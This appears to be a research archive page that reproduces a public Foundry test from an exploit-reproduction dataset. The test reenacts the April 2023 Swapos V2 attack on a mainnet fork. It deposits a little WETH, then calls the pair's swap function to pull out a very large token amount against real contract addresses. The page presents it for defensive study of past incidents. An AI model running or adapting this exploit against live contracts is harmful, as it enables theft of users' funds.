Public reproduction file

src/test/2023-04/Swapos_exp.sol

Public reproduction file for dataset entry Swapos V2.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/Swapos_exp.sol45 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/CertiKAlert/status/1647530789947469825
9// https://twitter.com/BeosinAlert/status/1647552192243728385
10// @TX
11// https://etherscan.io/address/0x2df07c054138bf29348f35a12a22550230bd1405
12 
13// @Contract
14 
15interface SWAPOS {
16    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
17    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
18    function balanceOf(
19        address
20    ) external view returns (uint256);
21    function transfer(address to, uint256 value) external returns (bool);
22}
23 
24contract ContractTest is Test {
25    SWAPOS swpToken = SWAPOS(0x09176F68003c06F190ECdF40890E3324a9589557);
26    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
27    SWAPOS swapPos = SWAPOS(0x8ce2F9286F50FbE2464BFd881FAb8eFFc8Dc584f);
28 
29    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
30 
31    function setUp() public {
32        cheats.createSelectFork("mainnet", 17_057_419);
33        cheats.label(address(WETH), "weth");
34        cheats.label(address(swpToken), "swpToken");
35    }
36 
37    function testExploit() external {
38        WETH.deposit{value: 3 ether}();
39        WETH.transfer(address(swapPos), 10);
40        swapPos.swap(142_658_161_144_708_222_114_663, 0, address(this), "");
41        (uint256 _reserve0, uint256 _reserve1, uint32 _blockTimestampLast) = swapPos.getReserves();
42        emit log_named_decimal_uint("swapos balance", _reserve0, 18);
43        emit log_named_decimal_uint("ETH balance", _reserve1, 18);
44    }
45}

Analysis

Dataset entry

Public Foundry test for “Swapos V2” (2023-04-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name: Swapos V2
Path: src/test/2023-04/Swapos_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: cb338d27bdf9e0199c20818777ed26ca0ed7d9e5
Language: Solidity
Size: 46 lines
Date: 2023-04-16
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-04/Swapos_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cb338d27bdf9e0199c20818777ed26ca0ed7d9e5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.